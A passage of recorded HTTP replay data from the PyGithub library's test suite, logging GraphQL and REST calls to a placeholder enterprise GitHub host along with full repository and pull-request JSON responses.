yGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/downloads","issues_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com:8080/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com:8080/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com:8080/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main"}},"_links":{"self":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} https POST my.enterprise.com 8080 /api/graphql {'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} 200 [('Server', 'enterprise.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://my.enterprise.com:8080/api/v3/heitorpolidoro"}, "clientMutationId": null}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testOtherUrl.txt0000644000175100001660000006265314756101563022734 0ustar00runnerdockerhttps GET my.enterprise.com None /api/v3/repos/PyGithub/PyGithub {'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d3a8781cb083ecf6b9194272a6522af705bd0d8c5bbaa959618b6d51725387e"'), ('Last-Modified', 'Sat, 20 Jan 2024 06:37:31 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B70C:505BC:14BDE07A:14F6AE81:65AB9959')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/downloads","issues_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1715,"subscribers_count":111} https GET my.enterprise.com None /api/v3/repos/PyGithub/PyGithub/pulls/31 {'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"add6f9aeb7d78b7a86d664f8107ca57bac6312a49fa4a9279afaebe7180405e5"'), ('Last-Modified', 'Thu, 21 Sep 2023 07:32:37 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'pull_requests=read; contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B714:354E89:774D594:78D06E8:65AB995A')] {"url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://my.enterprise.com/PyGithub/PyGithub/pull/31","diff_url":"https://my.enterprise.com/PyGithub/PyGithub/pull/31.diff","patch_url":"https://my.enterprise.com/PyGithub/PyGithub/pull/31.patch","issue_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/